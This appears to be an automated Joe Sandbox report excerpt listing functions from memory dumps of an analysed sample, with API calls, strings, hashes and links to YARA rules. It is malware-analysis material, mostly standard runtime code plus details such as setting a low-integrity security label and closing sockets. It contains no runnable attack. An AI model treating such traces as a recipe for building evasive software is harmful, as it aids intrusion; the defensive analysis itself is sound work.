KERNEL32.DLL, xrefs: 0030FA39

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Module$FileHandleName
String ID: KERNEL32.DLL$USER32.DLL
API String ID: 4146042529-2880226457
Opcode ID: 89309fc7eb6346450309b868c57fa43f7acad17f4e7d80e04880ab48b971b698
Instruction ID: a64b05fbbda6d2d1a155849910036045ee165b8763a72d045a13a573c29bf626
Opcode Fuzzy Hash: 89309fc7eb6346450309b868c57fa43f7acad17f4e7d80e04880ab48b971b698
Instruction Fuzzy Hash: 71018B71B5521DEFC731DB709C9CBA972BCA758704F1044B4E50ED29C0E3B49A84DE61

Function 00328091 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0033A5D0,00000008,00328199,00000000,00000000,?,?,003272E3,003246A2,?,?,00305B93,?), ref: 003280A2
__lock.LIBCMT ref: 003280D6

Part of subcall function 0032C725: __mtinitlocknum.LIBCMT ref: 0032C73B
Part of subcall function 0032C725: __amsg_exit.LIBCMT ref: 0032C747
Part of subcall function 0032C725: EnterCriticalSection.KERNEL32(00305B93,00305B93,?,003280DB,0000000D,?,?,003272E3,003246A2,?,?,00305B93,?), ref: 0032C74F

InterlockedIncrement.KERNEL32(888D8B31), ref: 003280E3
__lock.LIBCMT ref: 003280F7
___addlocaleref.LIBCMT ref: 00328115

Strings

KERNEL32.DLL, xrefs: 0032809D

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: db74c46592c2e780cd1d79194976ff1c083544cfbab99763b62c9860de7fff81
Instruction ID: 13f9afb0d1e1be062bccdb818a5547017adb2ab25261b9f82d31b96c91c1f1ef
Opcode Fuzzy Hash: db74c46592c2e780cd1d79194976ff1c083544cfbab99763b62c9860de7fff81
Instruction Fuzzy Hash: 2C016D71405B04EEE7229F69E84674AFBF0AF40325F10890EE4D65B2A1CBB4BA45DF12

Function 00306010 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll.dll), ref: 0030602B
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0030603D
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 00306051

Strings

RtlSetLastWin32Error, xrefs: 00306048
RtlNtStatusToDosError, xrefs: 00306034
ntdll.dll, xrefs: 00306026

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 667068680-2897241497
Opcode ID: 5682538f95be50294cbe884dccf4fa223e6ef28d547f87a5818805950c82c65c
Instruction ID: 43f7843ffe8a61e2e15fa9a68eeece6425b35fb254d6ac9e7a927b1407c41930
Opcode Fuzzy Hash: 5682538f95be50294cbe884dccf4fa223e6ef28d547f87a5818805950c82c65c
Instruction Fuzzy Hash: ACF0E7B4961204EFD7379BA0ECDAB6A7B7CE708311F10515DF909422A0CAB549C4CF51

Function 00306850 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(NTDLL.DLL,?,?,0031BC23), ref: 00306859
GetProcAddress.KERNEL32(0031BC23,RtlDecompressBuffer), ref: 0030686B
GetProcAddress.KERNEL32(0031BC23,RtlGetCompressionWorkSpaceSize), ref: 0030687F

Strings

NTDLL.DLL, xrefs: 00306854
RtlDecompressBuffer, xrefs: 00306862
RtlGetCompressionWorkSpaceSize, xrefs: 00306876

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: NTDLL.DLL$RtlDecompressBuffer$RtlGetCompressionWorkSpaceSize
API String ID: 667068680-1459209654
Opcode ID: 6edc77674a61b7fe18e567370d1894f65136092daf632c20b8109617cb4dfad7
Instruction ID: 68f7201bd6b48e4b5900ccd7efce618a636d88338ecf41b6ed402e0abc5d9d31
Opcode Fuzzy Hash: 6edc77674a61b7fe18e567370d1894f65136092daf632c20b8109617cb4dfad7
Instruction Fuzzy Hash: C1F03A74525304EBEB2BCBA4EC5ABAA76B8F704301F00659EE805822A0D7745D84CB51

Function 00327665 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 0032768D

Part of subcall function 003239A8: __getptd.LIBCMT ref: 003239B6
Part of subcall function 003239A8: __getptd.LIBCMT ref: 003239C4

__getptd.LIBCMT ref: 00327697

Part of subcall function 003281BE: __getptd_noexit.LIBCMT ref: 003281C1
Part of subcall function 003281BE: __amsg_exit.LIBCMT ref: 003281CE

__getptd.LIBCMT ref: 003276A5
__getptd.LIBCMT ref: 003276B3
__getptd.LIBCMT ref: 003276BE
_CallCatchBlock2.LIBCMT ref: 003276E4

Part of subcall function 00323A4D: __CallSettingFrame@12.LIBCMT ref: 00323A99

Part of subcall function 0032778B: __getptd.LIBCMT ref: 0032779A
Part of subcall function 0032778B: __getptd.LIBCMT ref: 003277A8

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 7e9a9415bb48b130ca597da9971d07d8f7f1b6ed5bc839191bc9c4e3969dfd77
Instruction ID: e1740384339ef4a33df3b68263d5786bd0f0e5ba5822bbfb136eadd582762539
Opcode Fuzzy Hash: 7e9a9415bb48b130ca597da9971d07d8f7f1b6ed5bc839191bc9c4e3969dfd77
Instruction Fuzzy Hash: 0A11D7B1C01319DFDB11EFA4E845AAEBBB1FF04310F108069F854AB291DB789A119F91

Function 00328B5A Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00328B66

Part of subcall function 003281BE: __getptd_noexit.LIBCMT ref: 003281C1
Part of subcall function 003281BE: __amsg_exit.LIBCMT ref: 003281CE

__amsg_exit.LIBCMT ref: 00328B86
__lock.LIBCMT ref: 00328B96
InterlockedDecrement.KERNEL32(?), ref: 00328BB3
_free.LIBCMT ref: 00328BC6
InterlockedIncrement.KERNEL32(02B11790), ref: 00328BDE

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 903be124f63c35cf5b06e1337116c2e83faede6e97decec97047ab11c24597aa
Instruction ID: 108e56523bde261bb6adba359f46f703ea523af1534bb214b61f4fb56c9ae8cd
Opcode Fuzzy Hash: 903be124f63c35cf5b06e1337116c2e83faede6e97decec97047ab11c24597aa
Instruction Fuzzy Hash: 5C019671902B31DBDB23AB68B845B5E7764BF40721F054109F8046B291CF346C81CFD2

Function 003090ED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 00309164
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0030919C
CloseHandle.KERNEL32(00000000), ref: 003091D2
CloseHandle.KERNEL32(00000000), ref: 00309222
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0030928C

Strings

d, xrefs: 0030912A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWait
String ID: d
API String ID: 971639600-2564639436
Opcode ID: b1e34ed92f43430cd3ea5f24a8b9a56030ec1da0f7b70e8892fa418246df88a8
Instruction ID: e7fcb550b9f05e5c240eb4184d3c2440c913e54564da80531ad5b16e429fd641
Opcode Fuzzy Hash: b1e34ed92f43430cd3ea5f24a8b9a56030ec1da0f7b70e8892fa418246df88a8
Instruction Fuzzy Hash: 353130316008199BFB1ECF88C6E8B6EB776FB90309F148269D0166FAD5C335E945CB51

Function 00306F94 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 0030702F
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00307073
CloseHandle.KERNEL32(00000000), ref: 003070B5
CloseHandle.KERNEL32(00000000), ref: 00307117
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 003071A5
shutdown.WS2_32(?,00000002), ref: 0030723B
closesocket.WS2_32(?), ref: 00307245

Strings

d, xrefs: 00306FE6

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWaitclosesocketshutdown
String ID: d
API String ID: 1024630845-2564639436
Opcode ID: 0949a1fb7795e3cdf306149a63c94ea1886fcf168dc8a343921bd28c66e968b5
Instruction ID: 67e40bbced2882cbe4967d3a48b800bccd08c49e5c700af1f0bb3f515869be52
Opcode Fuzzy Hash: 0949a1fb7795e3cdf306149a63c94ea1886fcf168dc8a343921bd28c66e968b5
Instruction Fuzzy Hash: FE41EF319004248FFB3ACA68C8A5B59B776FB90305F0582E9D01E9F5D6C735AD95CF50

Function 00309121 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 00309164
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0030919C
CloseHandle.KERNEL32(00000000), ref: 003091D2
CloseHandle.KERNEL32(00000000), ref: 00309222
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0030928C

Strings

d, xrefs: 0030912A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWait
String ID: d
API String ID: 971639600-2564639436
Opcode ID: 470ba4f5440bec2cd31a803e028cf2210c1020be04eb4895f37b885b53703028
Instruction ID: 42493fd7e53e1f4271c0e92e5a18d86d0c5728cb189a1ef40db6d0f2a96d77d9
Opcode Fuzzy Hash: 470ba4f5440bec2cd31a803e028cf2210c1020be04eb4895f37b885b53703028
Instruction Fuzzy Hash: D13123316004198BFB1DCF88C6E8A6EB776FB90309F148269D0166FAD5C335A945CB51

Function 00306FD7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 0030702F
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00307073
CloseHandle.KERNEL32(00000000), ref: 003070B5
CloseHandle.KERNEL32(00000000), ref: 00307117
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 003071A5

Strings

d, xrefs: 00306FE6

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWait
String ID: d
API String ID: 971639600-2564639436
Opcode ID: e4681c486b0af0ee7c50fe663984b839de4367e37845f22af353016d1f8c16a8
Instruction ID: 555f069cc87d3564d76697bad08e07da601a4779f71f0b3cc2ac1d1580c15e85
Opcode Fuzzy Hash: e4681c486b0af0ee7c50fe663984b839de4367e37845f22af353016d1f8c16a8
Instruction Fuzzy Hash: DA31CE31A104248BFB39CA68C8A4B59B776FB90309F0582E9D01EAF5D6C735AD95CF50

Function 003068EF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 00306932
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0030696A
CloseHandle.KERNEL32(00000000), ref: 00306987
CloseHandle.KERNEL32(00000000), ref: 003069D7
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00306A95

Strings

d, xrefs: 003068F8

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWait
String ID: d
API String ID: 971639600-2564639436
Opcode ID: 6fcb95f32a56dbeb76203db61afcf8e66ae977f2ef168d3fef06bf735f8c966e
Instruction ID: 65cb62ac6a172a97a41f0b38c68bff9b3e0d3e3b0a0199475021d443abaf309b
Opcode Fuzzy Hash: 6fcb95f32a56dbeb76203db61afcf8e66ae977f2ef168d3fef06bf735f8c966e
Instruction Fuzzy Hash: EB31FE31600814DBFB2ACF88C6E5A6DB776FB90309F1582ACD0166F6D5C735EA46DB40

Function 0031C420 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NW;;;LW),00000001,00000000,00000000), ref: 0031C456
GetSecurityDescriptorSacl.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0031C470
SetNamedSecurityInfoW.ADVAPI32(00000000,00000001,00000010,00000000,00000000,00000000,00000000), ref: 0031C48C
LocalFree.KERNEL32(00000000), ref: 0031C499

Strings

S:(ML;;NW;;;LW), xrefs: 0031C451

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$ConvertFreeInfoLocalNamedSaclString
String ID: S:(ML;;NW;;;LW)
API String ID: 173816248-495562761
Opcode ID: d77016b7ca0313f733671987a30e75c2ecf7b72bb0ce109aa2d3edbb03f8a23c
Instruction ID: 906e9aa7f1294d7a369714bc5f4dd55fc5e16539b6c400ecbbbd326ed57109cc
Opcode Fuzzy Hash: d77016b7ca0313f733671987a30e75c2ecf7b72bb0ce109aa2d3edbb03f8a23c
Instruction Fuzzy Hash: 96011EB1A44309ABEB25CFD0CD55FEFB7BDAB48704F104548E605AA1C0D7B5AA44CFA1

Function 00327A12 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00327A25

Part of subcall function 00327980: ___BuildCatchObjectHelper.LIBCMT ref: 003279B6

_UnwindNestedFrames.LIBCMT ref: 00327A3C
___FrameUnwindToState.LIBCMT ref: 00327A4A

Strings

csm, xrefs: 00327A21, 00327A36, 00327A49, 00327A67, 00327A77
csm, xrefs: 00327A14

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: 4ef99debcadfdcecb3433f75b9a0fe794b6cec0601b21e23afb445cc8b992cdc
Instruction ID: 3e725c9cac8fc8966d4934721f33ee4944f9155b1bcd3ebd04510f62a1ede1a6
Opcode Fuzzy Hash: 4ef99debcadfdcecb3433f75b9a0fe794b6cec0601b21e23afb445cc8b992cdc
Instruction Fuzzy Hash: 8201E47100512ABBDF13AE91EC46EEE7F6AFF18354F104010FD1819262D7369AB1DBA1

Function 003241F8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00324212

Part of subcall function 00324619: __FF_MSGBANNER.LIBCMT ref: 00324632
Part of subcall function 00324619: __NMSG_WRITE.LIBCMT ref: 00324639
Part of subcall function 00324619: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,00305B93,?), ref: 0032465E

std::exception::exception.LIBCMT ref: 00324247
std::exception::exception.LIBCMT ref: 00324261
__CxxThrowException@8.LIBCMT ref: 00324272

Strings

Ea1, xrefs: 0032425E, 0032426B, 0032426E

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID: Ea1
API String ID: 615853336-2754137317
